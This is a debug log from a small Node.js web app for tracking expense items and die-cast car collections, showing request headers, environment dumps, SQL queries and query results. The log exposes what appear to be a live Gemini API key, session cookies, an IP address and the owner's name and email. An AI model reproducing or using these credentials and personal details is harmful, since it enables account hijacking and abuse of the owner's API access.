    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T13:10:44.224Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T13:10:44.224Z server-connect:app Executing action step identify
2025-12-16T13:10:44.225Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:44.225Z server-connect:output identity: 1
2025-12-16T13:10:44.225Z server-connect:app Executing action step restrict
2025-12-16T13:10:44.225Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:10:44.226Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T13:10:44.226Z server-connect:output restrict: undefined
2025-12-16T13:10:44.226Z server-connect:app Executing action step select
2025-12-16T13:10:44.226Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T13:10:44.227Z server-connect:app Executing action step identify
2025-12-16T13:10:44.227Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:44.227Z server-connect:output identity: 1
2025-12-16T13:10:44.227Z server-connect:app Executing action step restrict
2025-12-16T13:10:44.227Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:10:44.230Z server-connect:output restrict: undefined
2025-12-16T13:10:44.230Z server-connect:app Executing action step single
2025-12-16T13:10:44.230Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T13:10:44.233Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T13:10:44.235Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T13:10:57.452Z server-connect:router Serving templateView /diecast
2025-12-16T13:10:57.452Z server-connect:app Executing action step identify
2025-12-16T13:10:57.452Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:57.453Z server-connect:output identity: 1
2025-12-16T13:10:57.453Z server-connect:app Executing action step restrict
2025-12-16T13:10:57.453Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:10:57.453Z server-connect:output restrict: undefined
2025-12-16T13:10:57.453Z server-connect:router Render template diecast
2025-12-16T13:10:57.453Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T13:10:57.689Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-16T13:10:57.691Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-16T13:10:57.692Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T13:10:57.692Z server-connect:app Executing action step identify
2025-12-16T13:10:57.692Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:57.692Z server-connect:output identity: 1
2025-12-16T13:10:57.693Z server-connect:app Executing action step restrict
2025-12-16T13:10:57.693Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:10:57.695Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-16T13:10:57.695Z server-connect:output restrict: undefined
2025-12-16T13:10:57.695Z server-connect:app Executing action step select
2025-12-16T13:10:57.695Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-16T13:10:57.696Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-16T13:10:57.696Z server-connect:app Executing action step identify
2025-12-16T13:10:57.696Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:57.696Z server-connect:output identity: 1
2025-12-16T13:10:57.696Z server-connect:app Executing action step restrict
2025-12-16T13:10:57.696Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:10:57.697Z server-connect:app Executing action step identify
2025-12-16T13:10:57.697Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:57.697Z server-connect:output identity: 1
2025-12-16T13:10:57.697Z server-connect:app Executing action step restrict
2025-12-16T13:10:57.697Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:10:57.697Z server-connect:output restrict: undefined
2025-12-16T13:10:57.698Z server-connect:app Executing action step select
2025-12-16T13:10:57.698Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-16T13:10:57.698Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-16T13:10:57.699Z server-connect:app Executing action step identify
2025-12-16T13:10:57.699Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:57.699Z server-connect:output identity: 1
2025-12-16T13:10:57.699Z server-connect:app Executing action step restrict
2025-12-16T13:10:57.699Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:10:57.700Z server-connect:output restrict: undefined
2025-12-16T13:10:57.700Z server-connect:app Executing action step paged
2025-12-16T13:10:57.701Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T13:10:57.702Z server-connect:app Executing action step identify
2025-12-16T13:10:57.702Z server-connect:app options: { provider: 'security' }
2025-12-16T13:10:57.702Z server-connect:output identity: 1
2025-12-16T13:10:57.702Z server-connect:app Executing action step restrict
2025-12-16T13:10:57.702Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:10:57.704Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
